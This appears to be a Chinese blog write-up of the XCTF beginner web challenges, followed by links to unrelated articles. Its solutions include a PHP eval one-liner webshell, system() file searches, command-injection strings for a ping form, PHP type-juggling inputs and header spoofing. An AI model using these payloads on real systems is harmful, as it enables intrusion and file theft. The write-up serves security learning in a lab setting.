xctf在线场景以使用了,一直想写web题来着

001 view_scoure

  • X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

解: 查看网站源码,注释里有 flag

002 robots

  • X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。

解: 在网站根目录下输入 robots.txt即可找到 flag

  • 知识点

    • robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。
    • dirsearch.py

      How to use

      项目地址 github

      亲测不能用也( 提示 ModuleNotFoundError: No module named 'cryptography')

      在kali下使用python命令就是调用的python2,使用python3命令就是调用的python3,很方便,但是window环境可不一样,没有python3命令,只有python命令,调用的是python2,可以直接给python.exe 改名为 python3.exe即可

      pip.exe 在 python 目录下的 Scripts 下载的模块在 Lib site-packges
    • Recursive 递归的

003 backup

  • X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

输入 index.php.bak

官方给的操作还是用 dirsearch.py 查看了.....

  • 知识点

    常见的备份文件后缀名有:

    01 .git

    02 .svn

    03 .swp

    04 .svn

    05 .~

    06 .bak

    07 .bash_history

004 cookie

  • X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

解: F12进入后,点击 Application, 左侧有 cookie,出现 look-here(cookie.php)

  • 知识点

    • Cookie是当主机访问Web服务器时,由 Web 服务器创建的,将信息存储在用户计算机上的文件。一般网络用户习惯用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 Session 跟踪而存储在用户本地终端上的数据,而这些数据通常会经过加密处理
    • 有同志使用burpsuit做的解,但咱这burpsuit老提示 Oracle jre没测试过,不可以使用....

005 disabled_button

  • X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

解: 将disabled=""删除后,按钮可按,按下后得到flag

006 weak——auth

  • 小宁写了一个登陆验证页面,随手就设了一个密码

解: admin 123456

又是burpsuit

007 simplePHP

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>

110.110.110.110/?a=0&b=1235a

008 GET&POST

HackBar:POST

hackBar 2.1.3 githb/HCTYMFF

hackbar收费了,这里是一个2.1.3的版本,在github上下载 zip包解压,在firefox中从文件中添加组件{}.xpi即可,关闭自动更新,打开方式是调试台,

009 xff_referer

  • X老师告诉小宁其实xff和referer是可以伪造的。

解:

  1. 打开firefox和burp,使用burp对firefox进行代理拦截,在请求头添加X-Forwarded-For: 123.123.123.123,然后放包,用 burp Rpeater重发request包即可。(这里不论怎么发,Firefox的浏览页面也没有变过),但是靶机确实返回了对应的 Reponse。
  2. Referer: https://www.google.com(请求头里添加)

另解

用火狐的 F12->网络->请求头->编辑和重发(添加对应的那两个头即可)

另解问题

但只有第一个 XFF 起了作用,第二个服务器回包没有变化。

  • 知识点

    • X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。
    • HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
    • http教程

010 webshell

  • 小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
<?php @eval($_POST['shell']);?>

用post方法接收变量shell,把变量shell里面的字符串当做php代码来执行。 变量shell也称为密码

所以,只要我们能通过post 方法,以 shell为变量名,值为执行代码就可以直接通过post 来操作对方的网站,菜刀也是通过这样的方法,不过他传入的代码比较复杂。

解:

  1. 菜刀直接连接,可以看到对方的网站目录结构,找打 flag.txt
  2. 另解(hackBar burp) 传递post请求

    shell=system("grep -r cyberpeace ./");

    shell=system("find ./ -name flag -exec cat {} ;|grep 'cyberpeace'");

011 command_execution

  • 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

    解:

    127.0.0.1 |find / -name "*.txt";

找.txt后缀的文件,发现 /home/flag.txt

127.0.0.1|cat /home/flag.txt ;

其他想法:

直接输入 | ls /home 也可以,即找一找home 目录下有什么

  • 知识点

    windows 或 linux 下:

    command1 && command2 先执行 command1,如果为真,再执行 command2

    command1 | command2 只执行 command2

    command1 & command2 先执行 command2 后执行 command1

    command1 || command2 先执行 command1,如果为假,再执行 command2

    命令执行漏洞(| || & && 称为 管道符)

12 simple_js

  • 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )
<title>JS</title>
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30")); h = window.prompt('Enter password');
alert( dechiffre(h) ); </script>

这东西考的代码审计,难搞的很。

解出这16进制代码

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

工具

解:

  1. 16进制转文本,复制文本(全部复制,粘贴自动会转化成全部数字)
  2. 数字转ANSII码,用python 即可。

WEB 新手篇的更多相关文章

  1. 漫谈程序员(十一)老鸟程序员知道而新手不知道的小技巧之Web 前端篇

    老鸟程序员知道而新手不知道的小技巧 Web 前端篇 常充电!程序员只有一种死法:土死的. 函数不要超过50行. 不要一次性写太多来不及测的代码,而是要写一段调试一段. UI和编码要同步做. 多写注释方 ...

  2. PHP求职宝典系列——PHP Web 编程篇

    PHP Web 编程篇 form表单 1.简述 POST 和 GET 传输的最大容量分别是多少? GET 方法提交的表单数据被附加到 URL 上,并作为URL 的一部分发送到服务器端. URL 的长度 ...

  3. 我所理解的RESTful Web API [Web标准篇]

    REST不是一个标准,而是一种软件应用架构风格.基于SOAP的Web服务采用RPC架构,如果说RPC是一种面向操作的架构风格,而REST则是一种面向资源的架构风格.REST是目前业界更为推崇的构建新一 ...

  4. 使用ML.NET实现情感分析[新手篇]后补

    在<使用ML.NET实现情感分析[新手篇]>完成后,有热心的朋友建议说,为何例子不用中文的呢,其实大家是需要知道怎么预处理中文的数据集的.想想确实有道理,于是略微调整一些代码,权作示范. ...

  5. WEB新手之签到题

    写一写web新手赛的题. 这是签到题,开始时需要耐心等待页面中字母全部出现. 字母全部出现后,会跳转到另一个界面,如上图所示.F12没什么特别的地方,这题应该有点难度. 按往常一样,先抓包. 按英文提 ...

  6. 《黑客攻防技术宝典Web实战篇@第2版》读书笔记1:了解Web应用程序

    读书笔记第一部分对应原书的第一章,主要介绍了Web应用程序的发展,功能,安全状况. Web应用程序的发展历程 早期的万维网仅由Web站点构成,只是包含静态文档的信息库,随后人们发明了Web浏览器用来检 ...

  7. web前端篇:CSS使用,样式表特征,选择器

    目录 web前端篇:CSS使用,样式表特征,选择器 1.CSS介绍 2.CSS使用 3.样式表特征 4.CSS选择器 5.选择器的优先级 6.练习题: web前端篇:CSS使用,样式表特征,选择器 1 ...

  8. Web前端篇:CSS常用格式化排版、盒模型、浮动、定位、背景边框属性

    目录 Web前端篇:CSS常用格式化排版.盒模型.浮动.定位.背景边框属性 1.常用格式化排版 2.CSS盒模型 3.浮动 4.定位 5.背景属性和边框属性 6.网页中规范和错误问题 7.显示方式 W ...

  9. 黑客攻防技术宝典web实战篇:核心防御机制习题

    猫宁!!! 参考链接:http://www.ituring.com.cn/book/885 黑客攻防技术宝典web实战篇是一本非常不错的书,它的著作人之一是burpsuite的作者,课后的习题值得关注 ...

  10. 攻防世界web新手区做题记录

    学校信安协会第一次培训结束后的作业,要求把攻防世界的web新手区题目做一遍并写题解. 第一题 view_source 查看源代码右键不能用,但是F12能用,于是找到源代码 输入到flag框即可 后来在 ...

随机推荐

  1. 使用 preloadRouteComponents 提升 Nuxt 应用的性能

    title: 使用 preloadRouteComponents 提升 Nuxt 应用的性能 date: 2024/8/19 updated: 2024/8/19 author: cmdragon e ...

  2. 初三年后集训测试---T1排序

    初三年后集训测试 $T 1 $ 排序 $$HZOI$$ ·题意: 给定 \(4n\) 个整数,求 : \[\max\{\sum_{i=1}^{4n}(A_{i,1} \times A_{i,2} - ...

  3. Playwright 浏览器窗口最大化

    实现方式 浏览器启动时,加参数 args=['--start-maximized']: 创建上下文时,加参数 no_viewport=True. from playwright.sync_api im ...

  4. Standard Quorum Intersection

    标准定足数交集 定义和背景 系统模型: 系统中有 \(n\) 个节点,其中最多 \(f\) 个节点可能是拜占庭故障节点(恶意节点). 为了保证容忍 \(f\) 个拜占庭节点,系统通常需要至少 \(3f ...

  5. 禁止 SSH 传递 locale 环境变量

    SSH 在连接远程机器时默认会传递一些环境变量,其中就包括你本机的 locale 变量.这会导致远程机器的 locale 配置变成和你本地主机一样.有时候我们不希望这种行为,我们可以通过修改 SSH ...

  6. 基于PaddleNLP信息抽取,uie微调打造自己专属的信息抽取模型

    基于PaddleNLP信息抽取,uie微调打造自己专属的信息抽取模型 UIE模型简介 UIE优势 应用示例 UIE开箱即用 UIE适用抽取示例 命名实体识别(Named Entity Recognit ...

  7. C#/.NET/.NET Core技术前沿周刊 | 第 3 期(2024年8.26-8.31)

    前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录.追踪C#/.NET/.NET Core领域.生态的每周最新.最实用.最有价值的技术文章.社区动态.优质项目和学习资源等. ...

  8. 【YashanDB数据库】YAS-00413 wait for receive timeout

    [问题分类]错误码处理 [关键字]yasql,00413 [问题描述]使用工具设置不同并发迁移数据的过程中,导致yasql登录报错:YAS-00413 wait for receive timeout ...

  9. (赠书)国产开源视觉语言模型CogVLM2在线体验:竟能识别黑悟空

    CogVLM2是一款视觉语言模型(Visual Language Model),由智谱AI和清华KEG潜心打磨.这款模型是CogVLM的升级版本,支持高达 1344 * 1344 的图像分辨率,提供支 ...

  10. tarjan—算法的神(一)

    本篇包含 tarjan 求强连通分量.边双连通分量.割点 部分, tarjan 求点双连通分量.桥(割边)在下一篇. 伟大的 Robert Tarjan 创造了众多被人们所熟知的算法及数据结构,最著名 ...